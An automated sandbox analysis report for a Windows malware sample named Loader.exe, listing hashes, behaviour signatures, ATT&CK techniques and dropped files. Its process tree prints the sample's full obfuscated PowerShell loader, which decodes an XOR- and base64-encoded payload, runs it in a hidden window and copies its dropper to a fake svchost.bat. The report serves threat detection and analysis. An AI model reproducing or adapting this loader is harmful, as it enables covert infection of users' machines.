bc2b4a45d84bb6d36b8e42b568e0cb9d0db262e13c72d97169f7deedd2776f02

Analysis

user interaction
yes
max time kernel
30s
max time network
32s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260911-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
13/11/2026, 16:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Loader.exe
Size 101KB
Sample261113-vcbw4sys4l
SHA256 bc2b4a45d84bb6d36b8e42b568e0cb9d0db262e13c72d97169f7deedd2776f02
MD5 5c4f95c019c89fcf9118ca0d43d18572
SHA1 ee7874b87ff851afb6b7d7aa12c6fb9a67a08c28
SHA512 3a7afd857ab1909b845513eadae2c3b67fb7aedcbf35ac712f242413d91d83eda9494728c15ebd19b7a788856d63b6fb093ccde1f50e07fe34a8ef25e0da33f5
SSDEEP 1536:HmbRuH7BuH7rvbrc09BerseB+YzB1h91SjDviYIv0Qf266/qlT:HmbKaD9BeF+YzB1hXeiYY0I26Qq5
TLSH
T150A3D16AD1C9E090DBD3477859B2D1EA16F7EC5B0C075E0EB49C324A2BF07987B99E04
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	4388	powershell.exe
8	4388	powershell.exe
9	4388	powershell.exe
11	4388	powershell.exe
12	4388	powershell.exe
13	4388	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4520	powershell.exe
4388	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4656	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4520	powershell.exe
4520	powershell.exe
4388	powershell.exe
4388	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeDebugPrivilege	4388	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4360 wrote to memory of 4656	4360	Loader.exe	84
PID 4656 wrote to memory of 4520	4656	cmd.exe	86
PID 4520 wrote to memory of 4388	4520	powershell.exe	87
PID 4388 wrote to memory of 444	4388	powershell.exe	94
PID 444 wrote to memory of 3636	444	csc.exe	95

C:\Users\Admin\AppData\Local\Temp\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4360
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\f21bee79-0166-4b81-8117-d100012af46f.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=73-10;$tR5X1eZfm=''bBPRjmyf'';$sI1Po8=''ae9d949bb4aebca2e8b792d0e4adba9fe193de93fdf3e6f793bb838bb4a2bee29c8d828cee82bdafa78c9396a79ae9f69dbcbcc0ee80b6b89b9c8891aea0fb97aa918e9d9b9a8ee493bb838bb4a2bee28b87948ea5b5a791f2d2bc8aafaa91adbb8dcccc93b3a1a5a68fd2dcaaae80e5b4cd81dc9feab1b4a79ade93bdeefab1c5e2f7f293b3b2bebcc5a994a5a2a3ece5bb9f9bafa9b7bfe8dbf7f29b89b6b8e6bb9f8ab6aeb0a998879396b48ab2a2a98f9f8a9dfde99fad8b8f8aa9b3aa9cba878e97a3a8bfecf5c8a1b6a5b3fd9fad8b8f8aa9b3aa9cba878e97a3a8bf98b1989fa5fafd87a0bbd9c8f5cae3b2fff8d5d2a7a8e7f49f90be90a095fe9298a398ceb0ab818b9f9f98cdaf978d86aeb090b5b0f0818aa8f9ba8c9d95afe295b0d9c99da8f68aa98daacda985fea2a9f88cb099ab81b198f88c9fababf2bfa9f8baaa99ab819b968f9890a0ae95e295f98c9199f2fe90a88087a3b095ffb5848fbeca9c98fe919f8add8cb08895929a9ed9caae87fe8b9f9f9888b095bfe5958d98c29c97898ba8fb8799aa85febf9ea398cf99a89595a8fa8088aef0f3b5a9f984caa986928a96a59894bf85aba2a9f8d1cb9eadfe9796a6bea09af0f3b695f8aeaa9dada3b69f80dd8ca9aef6e7adf98cb5b0f3b389a88daaacbf8781949f9daeb09988b489a8fb9890b085aba29d9e80c9b097b38b98a0d1cdaf9895929a9a80979aab9eb2968f98b8a9879da29fa398919d92bf8a9f9098aca0ad9de29b9aba91a297a3919f9fbecdae85fe96aefad1b5a297febc98b0d099aa95bfe58b9e80c2b0aeb38698a3aacdaf85abbcaaf99caa9dadb3b798f8b9a3a185ffb5adf8b29799abf2b795a0dc99be81faeeebe1e5f0b9a4a3fe98b1989fd8ed93aabcadac9f9ea9a9bab8a18794d8e89c87a9b09cd4bdaea4bca8a1869da5fafd86988ed0d4bfa5b380b8ba81949fe89c90a3a69e9f8ab49ae9f68e9a959582a6a0a9fedca98cb2aebdabe0cc9bcbf0eefae5c5e29c8daea4a7a5a786da9ce8e3b2fff9c181dca1f4e1f1868d8dd58fa5b9a9ab9cdab6a5b3fd9bad8ab994a9a2bdb8f3c0bd9db4ea81ada68c9595e0e3b2fff9c8d7bbafb2bdb8e8cc9bcbf1e990a3bd868ed1bce2a8b8ba91818aa5b3a6bea6c8de99f3f5fd88a79f9494afa6b788a99c9bd0e498fab1ab898e9ba8bcaeb1b5e5f09eb5a9b0b8a18794d8a9eff7adfbc4de99f4ebf7adfdc4de99f6fa93e4e1c181dca1f0ee9798809b96b4a8be8ba99c9fa5fafd9fa3a98cbb8bb3a2beaea491d2dca1f4faf7ec89c2c5e4a6e4e28f8d8eacb9b7b6bfe0c186c7bbe38ce28e9d96948ea6bea9e8c59f89e0e3b2f8b5d3de99f9faf7ad'';$s5mzq8=''DzlCYkt1SUdfeGEvG1kZHx9MV2JZVElQQ35qaRF6RV1TfmtgeVRNVERKLVhXGAtVYX9VVmpqY3JgWUZWDAl1ZwdRQFNYfgdkYm9fVXoMbmlyWWBQakBoZ1xwOCAWEQUIE3U1OlZeBBITdjwpdkt/R1ZjbGQWQ3dyVGNscV5MQ0FqLT9ETV1NR1Jea3RLWUJQUj8hZgcRUQgTdjwpdlZaXFxyLSNdCAAXViEsejIyITkTdTQ6fxAEG2h/JSBtbkBpED4lLB8Qc1sXMF1VXHttWEdSUlJpYXhEeVhUbH57dV8OTldsV3l/dQ9UV0J9dX9YUFRdN1d6f3ZPclZBC3t/Zn12VDd5e3h2XFRfQn11f1hQVE1gcXB0ZlgqIi4WFAQbaH8lIG1uQGlvRWZEflBHanZvPWF4eWFQf39iQ3d6X1d2fGlEaFNicWZ8fU1nX2VWdidhY2xfEQ4QPiwrFxBzWxcwV1FTYnRhVFREb0hca1R6dEJvVHxkS1B0RH9IW2REfVJUQlB7ZFR5X11SUAULGh4+CA1WXgQbE3U3OlsYCFEGPihmUVwEF1YjOFxrXVRHGVJrZFBcRV1QSj89amxqCxlQYHNsTF5aWXAtI10KBRoaemRzXFAEbF83IkJtfgdWYGA4IBYYBxMfSG0nGF4fWGNSclJ7elR6clJXQVBhWw4KMCwnFBgEbF83ImZtdXgUHj5+CjUYDBdVJCU6HxBzWxcwTVJpVH9lX1RUTwYNa3tHWlQ3elx1YXVRUlJHXG8DW1pUbHl8e1h9XURvfV5pVH1UXTYPfHtlDl5SN3VebVR+T11sT11/A21cVjdpdHRYQ3JWVgIFCxoXLCUjXQsMDhczZzQRa1lRRGN3blFfBAMbNyFlDBZgVllwcW8fFQwCBT4IDRtZHwIXKiUvYFAMFH9WODoYEQwIOh0hZQsFBGxfNyJWeWpIawddTl8PQG1yBUFGIBYYBxMfSG0nGGlpW35PYjoCHwUIOh0lJx8YRRMfTEZoUU5JQUNKPz15SkNedXZ2YgkMf0dFfmtgFxxhUkN0bWJMYx1uHj4lI10MDBtofyUgZwlEd297MToYEQxzHzNnNBMYCFIEJiknF2dEExBPaXNwanl5UkBUOgIfBR8XP1pvHx9KA19cZ0EKeQsaGzctWFcYC3tmKjggFhgAEx9IbScYbn5AbTAsLjIyDBMXN0JiSxV8QVh0YHRMRF9cRWMlRG9tDB5TcnZkQ0tJX1J0cScSXkVBRGMlMkNeWBN5dmhiE3t8ZhdqCA0yMgwTFzclJx8YDBM='';$yIdT1OUj=0xD595-0xBFAC;$fJUjoSTtq=@();foreach($c in [char[]]$tR5X1eZfm){$fJUjoSTtq+=[byte]($c-bxor0xAA)};$uSCdD3u=$fJUjoSTtq;$fJUjoSTtq=@();foreach($c in [char[]]$tR5X1eZfm){$fJUjoSTtq+=[byte]($c-bxor0x55)};$pqM78hIa=$fJUjoSTtq;$fJUjoSTtqoldR='''';$i=0;for($j=0;$j-lt$sI1Po8.Length;$j+=2){$fJUjoSTtqoldR+=[char](([Convert]::ToInt32($sI1Po8.Substring($j,2),16))-bxor$uSCdD3u[$i++%$uSCdD3u.Length])};$r3fRHl=$fJUjoSTtqoldR;$fJUjoSTtqoldB=[Convert]::FromBase64String([regex]::Replace($s5mzq8, ''$fJUjoSTtq'', ''''));$fJUjoSTtqoldR='''';$i=0;for($j=0;$j-lt$fJUjoSTtqoldB.Length;$j++){$fJUjoSTtqoldR+=[char]($fJUjoSTtqoldB[$j]-bxor$pqM78hIa[$i++%$pqM78hIa.Length])};$uaX6wt7=$fJUjoSTtqoldR;$zs0FZACk=$r3fRHl+$uaX6wt7;.($env:ComSpec[4,26,25]-join'''') $zs0FZACk\"'" ; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\f21bee79-0166-4b81-8117-d100012af46f.bat' -Destination 'C:\ProgramData\svchost.bat' -Force -ErrorAction SilentlyContinue
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4520
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=73-10;$tR5X1eZfm='bBPRjmyf';$sI1Po8='ae9d949bb4aebca2e8b792d0e4adba9fe193de93fdf3e6f793bb838bb4a2bee29c8d828cee82bdafa78c9396a79ae9f69dbcbcc0ee80b6b89b9c8891aea0fb97aa918e9d9b9a8ee493bb838bb4a2bee28b87948ea5b5a791f2d2bc8aafaa91adbb8dcccc93b3a1a5a68fd2dcaaae80e5b4cd81dc9feab1b4a79ade93bdeefab1c5e2f7f293b3b2bebcc5a994a5a2a3ece5bb9f9bafa9b7bfe8dbf7f29b89b6b8e6bb9f8ab6aeb0a998879396b48ab2a2a98f9f8a9dfde99fad8b8f8aa9b3aa9cba878e97a3a8bfecf5c8a1b6a5b3fd9fad8b8f8aa9b3aa9cba878e97a3a8bf98b1989fa5fafd87a0bbd9c8f5cae3b2fff8d5d2a7a8e7f49f90be90a095fe9298a398ceb0ab818b9f9f98cdaf978d86aeb090b5b0f0818aa8f9ba8c9d95afe295b0d9c99da8f68aa98daacda985fea2a9f88cb099ab81b198f88c9fababf2bfa9f8baaa99ab819b968f9890a0ae95e295f98c9199f2fe90a88087a3b095ffb5848fbeca9c98fe919f8add8cb08895929a9ed9caae87fe8b9f9f9888b095bfe5958d98c29c97898ba8fb8799aa85febf9ea398cf99a89595a8fa8088aef0f3b5a9f984caa986928a96a59894bf85aba2a9f8d1cb9eadfe9796a6bea09af0f3b695f8aeaa9dada3b69f80dd8ca9aef6e7adf98cb5b0f3b389a88daaacbf8781949f9daeb09988b489a8fb9890b085aba29d9e80c9b097b38b98a0d1cdaf9895929a9a80979aab9eb2968f98b8a9879da29fa398919d92bf8a9f9098aca0ad9de29b9aba91a297a3919f9fbecdae85fe96aefad1b5a297febc98b0d099aa95bfe58b9e80c2b0aeb38698a3aacdaf85abbcaaf99caa9dadb3b798f8b9a3a185ffb5adf8b29799abf2b795a0dc99be81faeeebe1e5f0b9a4a3fe98b1989fd8ed93aabcadac9f9ea9a9bab8a18794d8e89c87a9b09cd4bdaea4bca8a1869da5fafd86988ed0d4bfa5b380b8ba81949fe89c90a3a69e9f8ab49ae9f68e9a959582a6a0a9fedca98cb2aebdabe0cc9bcbf0eefae5c5e29c8daea4a7a5a786da9ce8e3b2fff9c181dca1f4e1f1868d8dd58fa5b9a9ab9cdab6a5b3fd9bad8ab994a9a2bdb8f3c0bd9db4ea81ada68c9595e0e3b2fff9c8d7bbafb2bdb8e8cc9bcbf1e990a3bd868ed1bce2a8b8ba91818aa5b3a6bea6c8de99f3f5fd88a79f9494afa6b788a99c9bd0e498fab1ab898e9ba8bcaeb1b5e5f09eb5a9b0b8a18794d8a9eff7adfbc4de99f4ebf7adfdc4de99f6fa93e4e1c181dca1f0ee9798809b96b4a8be8ba99c9fa5fafd9fa3a98cbb8bb3a2beaea491d2dca1f4faf7ec89c2c5e4a6e4e28f8d8eacb9b7b6bfe0c186c7bbe38ce28e9d96948ea6bea9e8c59f89e0e3b2f8b5d3de99f9faf7ad';$s5mzq8='DzlCYkt1SUdfeGEvG1kZHx9MV2JZVElQQ35qaRF6RV1TfmtgeVRNVERKLVhXGAtVYX9VVmpqY3JgWUZWDAl1ZwdRQFNYfgdkYm9fVXoMbmlyWWBQakBoZ1xwOCAWEQUIE3U1OlZeBBITdjwpdkt/R1ZjbGQWQ3dyVGNscV5MQ0FqLT9ETV1NR1Jea3RLWUJQUj8hZgcRUQgTdjwpdlZaXFxyLSNdCAAXViEsejIyITkTdTQ6fxAEG2h/JSBtbkBpED4lLB8Qc1sXMF1VXHttWEdSUlJpYXhEeVhUbH57dV8OTldsV3l/dQ9UV0J9dX9YUFRdN1d6f3ZPclZBC3t/Zn12VDd5e3h2XFRfQn11f1hQVE1gcXB0ZlgqIi4WFAQbaH8lIG1uQGlvRWZEflBHanZvPWF4eWFQf39iQ3d6X1d2fGlEaFNicWZ8fU1nX2VWdidhY2xfEQ4QPiwrFxBzWxcwV1FTYnRhVFREb0hca1R6dEJvVHxkS1B0RH9IW2REfVJUQlB7ZFR5X11SUAULGh4+CA1WXgQbE3U3OlsYCFEGPihmUVwEF1YjOFxrXVRHGVJrZFBcRV1QSj89amxqCxlQYHNsTF5aWXAtI10KBRoaemRzXFAEbF83IkJtfgdWYGA4IBYYBxMfSG0nGF4fWGNSclJ7elR6clJXQVBhWw4KMCwnFBgEbF83ImZtdXgUHj5+CjUYDBdVJCU6HxBzWxcwTVJpVH9lX1RUTwYNa3tHWlQ3elx1YXVRUlJHXG8DW1pUbHl8e1h9XURvfV5pVH1UXTYPfHtlDl5SN3VebVR+T11sT11/A21cVjdpdHRYQ3JWVgIFCxoXLCUjXQsMDhczZzQRa1lRRGN3blFfBAMbNyFlDBZgVllwcW8fFQwCBT4IDRtZHwIXKiUvYFAMFH9WODoYEQwIOh0hZQsFBGxfNyJWeWpIawddTl8PQG1yBUFGIBYYBxMfSG0nGGlpW35PYjoCHwUIOh0lJx8YRRMfTEZoUU5JQUNKPz15SkNedXZ2YgkMf0dFfmtgFxxhUkN0bWJMYx1uHj4lI10MDBtofyUgZwlEd297MToYEQxzHzNnNBMYCFIEJiknF2dEExBPaXNwanl5UkBUOgIfBR8XP1pvHx9KA19cZ0EKeQsaGzctWFcYC3tmKjggFhgAEx9IbScYbn5AbTAsLjIyDBMXN0JiSxV8QVh0YHRMRF9cRWMlRG9tDB5TcnZkQ0tJX1J0cScSXkVBRGMlMkNeWBN5dmhiE3t8ZhdqCA0yMgwTFzclJx8YDBM=';$yIdT1OUj=0xD595-0xBFAC;$fJUjoSTtq=@();foreach($c in [char[]]$tR5X1eZfm){$fJUjoSTtq+=[byte]($c-bxor0xAA)};$uSCdD3u=$fJUjoSTtq;$fJUjoSTtq=@();foreach($c in [char[]]$tR5X1eZfm){$fJUjoSTtq+=[byte]($c-bxor0x55)};$pqM78hIa=$fJUjoSTtq;$fJUjoSTtqoldR='';$i=0;for($j=0;$j-lt$sI1Po8.Length;$j+=2){$fJUjoSTtqoldR+=[char](([Convert]::ToInt32($sI1Po8.Substring($j,2),16))-bxor$uSCdD3u[$i++%$uSCdD3u.Length])};$r3fRHl=$fJUjoSTtqoldR;$fJUjoSTtqoldB=[Convert]::FromBase64String([regex]::Replace($s5mzq8, '$fJUjoSTtq', ''));$fJUjoSTtqoldR='';$i=0;for($j=0;$j-lt$fJUjoSTtqoldB.Length;$j++){$fJUjoSTtqoldR+=[char]($fJUjoSTtqoldB[$j]-bxor$pqM78hIa[$i++%$pqM78hIa.Length])};$uaX6wt7=$fJUjoSTtqoldR;$zs0FZACk=$r3fRHl+$uaX6wt7;.($env:ComSpec[4,26,25]-join'') $zs0FZACk"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4388
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bwgdbzw5\bwgdbzw5.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:444
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6EE2.tmp" "c:\Users\Admin\AppData\Local\Temp\bwgdbzw5\CSC73E0BAFBF1F1497BA2505C4611BB96.TMP"
        6⤵
        
        PID:3636

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 56572269ec031c63d966c6d3b4712600b908d38826c59c0f9a8225d0a783e9f4
MD5 713ad359b75fe6d947468ec1825202b9
SHA1 19dcd19f18a2ad6deb581451aad724bd44a592a4
SHA512 4df344dec422bed85b186909dc7f9c35126b3bb45e100f18fb95b4a9943ace242479adf5f0194b054d38b67032498f897a5a54b49026efee0c4797cb5a5e54e8
TLSH
T18A51DB313375B1E4895A7F47192819C023BF8355FA98AF5CB65C621ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 3519a108f7e9282ad7643eb538bd2cb63b8cafecb0cd683085eb772e1cccf30c
MD5 a534e3075102f2b4d280af5ee6a75958
SHA1 fc98a2b628042c9b00f9140bddf76db29776f842
SHA512 166984da4541b42ac9a833f342ce0560d3d40285822ae2db3dea0df274f54d665fd763e6cdb6cb84997256a4a6c37d5f26b65225e9cc0eacd0d2e19820d0e56e
MD5 SHA1 SHA512

Submit Download

RES6EE2.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES6EE2.tmp
Size 1KB
SHA256 969fe4a7614b3b029813ebdf65c0348e046581881d0942c3811a4c65e03db127
MD5 f5b639274a79ae1d9db6b098d4cf5764
SHA1 2365a55260e0a0a743a32c4f61610048eb9dab58
SHA512 0a774d831ef506aca858cddabeb71ba964461a17ac65f167f7eb7b93e6eb859419b1707d20f6e2340117a9d9358086835fe6a6a760ff63491d54bee40d3fafba
TLSH
T16D21660183E8471EF07757316DF6576BA625FD54AFA2939B854042282C51208EEA1F72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_f1ok0dtn.c0w.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f1ok0dtn.c0w.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

bwgdbzw5.dll

Path C:\Users\Admin\AppData\Local\Temp\bwgdbzw5\bwgdbzw5.dll
Size 3KB
SHA256 a919c7bfb9a1086b2de0a89f4e80e54792ac4dd8d8f0bc236d0fb07bbc87ff56
MD5 6fa18a0ff3842d8e89413f97351b6c6a
SHA1 f41062ece377c8ca33e12b5378b0fb5968d216ff
SHA512 6a66eda39194430bde034ab67d09b5df3e6f2b0e60679ee71cb251cfb5d4dce00716976a045ccbff75614e856c63b6d1c935bded2de715ee062ab0abe272ec22
TLSH
T1E651FF0A53E8462BF47707317FF383572774F910AB62934E4880422CAC213645E32FB9
MD5 SHA1 SHA512 TLSH

Submit Download

f21bee79-0166-4b81-8117-d100012af46f.bat

Path C:\Users\Admin\AppData\Local\Temp\f21bee79-0166-4b81-8117-d100012af46f.bat
Size 21KB
SHA256 8dc374bde5ff65e90e66fb081463c137cca5269e2bc29aca9369e93ca37f1760
MD5 ba9935938c78139d44b263b2b23a9e29
SHA1 5325b9214576e86b810b0cc85eb2dd972092fa7a
SHA512 bd8837d176da0fd3e0d9141a61868f6c12ea1ecdc7a3120916d51cc9763f2c29d1f4a50678677b84081cf3584970213409d4f6034b2a6b40821b9293e317b8bb
SSDEEP 384:0O6OWaj1njWseV5um2O6OWaj1njWseV5umEOO:K4p6souB4p6souL
TLSH
T181A21B64E0C670885AA3939539A1D0E765D7FA0B0C4B5E4DB9EC81A11FD03B8B6F9C8C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC73E0BAFBF1F1497BA2505C4611BB96.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\bwgdbzw5\CSC73E0BAFBF1F1497BA2505C4611BB96.TMP
Size 652B
SHA256 77d434b3885dd2f6ce90b13bb32732567284856e6c51d0db0dfdeb19a25aee0b
MD5 ccffc5efef57ef1f63596e5013fe9187
SHA1 29290d66bc8a115fc292e833308e48d96cb43108
SHA512 41a82ff21ee34a8b5274addfba05dc7d3c04a1f9323568a194d633504f1f34a58944700c65a7eb16bd6b6b2f6dd313f7178d118c4555ab1348b0492483982f2f
TLSH
T174F0540A63F8020EF0F35B30BDF553A79568BC65EE7293ED144003191C645148662F71
MD5 SHA1 SHA512 TLSH

Submit Download

bwgdbzw5.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\bwgdbzw5\bwgdbzw5.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

bwgdbzw5.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\bwgdbzw5\bwgdbzw5.cmdline
Size 369B
SHA256 295531db45ccb1b66e275541c1a8ef9d2467c78895a778cb3f71ebb6fe01919e
MD5 213ddd07673756e2b1d3cd424ea9764d
SHA1 5bac0b10bf635e857354455305cb6c9773a660f0
SHA512 aa74ef7bc76e731991a9dd4c22f99372a8699e8407c7955bb485402cd768073deefda14f22944ccb5d53efdf626cc10ea4f3893602c3fdd8643a2fef3f925230
TLSH
T11AE0682A4246C2BE11EA10073B6AC4BC82721B8339423F885040C40DF31700027D3B4A
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4360-0-0x00000000001B0000-0x00000000001D0000-memory.dmp

Download

memory/4388-40-0x000001DB7BBA0000-0x000001DB7BBA8000-memory.dmp

Download

memory/4520-17-0x000001B7A14D0000-0x000001B7A16ED000-memory.dmp

Download

memory/4520-13-0x000001B786610000-0x000001B786620000-memory.dmp

Download

memory/4520-5-0x000001B7A0B20000-0x000001B7A0B42000-memory.dmp

Download

memory/4520-3-0x000001B786610000-0x000001B786620000-memory.dmp

Download

memory/4520-4-0x000001B786610000-0x000001B786620000-memory.dmp

Download